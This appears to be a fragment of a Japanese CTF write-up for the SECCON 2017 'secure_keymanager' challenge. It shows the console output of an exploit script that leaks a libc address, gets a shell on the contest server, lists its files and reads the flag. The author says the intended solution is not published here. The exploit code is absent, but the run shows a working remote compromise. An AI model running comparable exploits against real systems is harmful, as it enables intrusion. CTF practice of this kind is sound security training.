% ./exploit.py Select Environment ['debug', 'remote', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/SECCON/2017/secure_keymanager/secure_keymanager' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to secure_keymanager.pwn.seccon.jp on port 47225: Done [*] addr_libc_base = 0x7f0755435000 [*] Switching to interactive mode $ ls -al total 44 drwxr-x--- 2 root sec_km 4096 Dec 10 01:23 . drwxr-xr-x 6 root root 4096 Nov 28 18:36 .. -rw-r----- 1 root sec_km 220 Sep 1 2015 .bash_logout -rw-r----- 1 root sec_km 3771 Sep 1 2015 .bashrc -rw-r----- 1 root sec_km 139 Dec 10 01:23 .comment -rw-r----- 1 root sec_km 655 May 16 2017 .profile -rw-r----- 1 root sec_km 32 Nov 23 14:45 flag.txt -rwxr-x--- 1 root sec_km 13728 Nov 23 14:45 secure_keymanager $ cat flag.txt SECCON{C4n_y0u_b347_h34p_45lr?}
20分でこの解法の Exploit を書き上げました.
本来の攻撃手法は悔しいのでここでは掲載しません(死)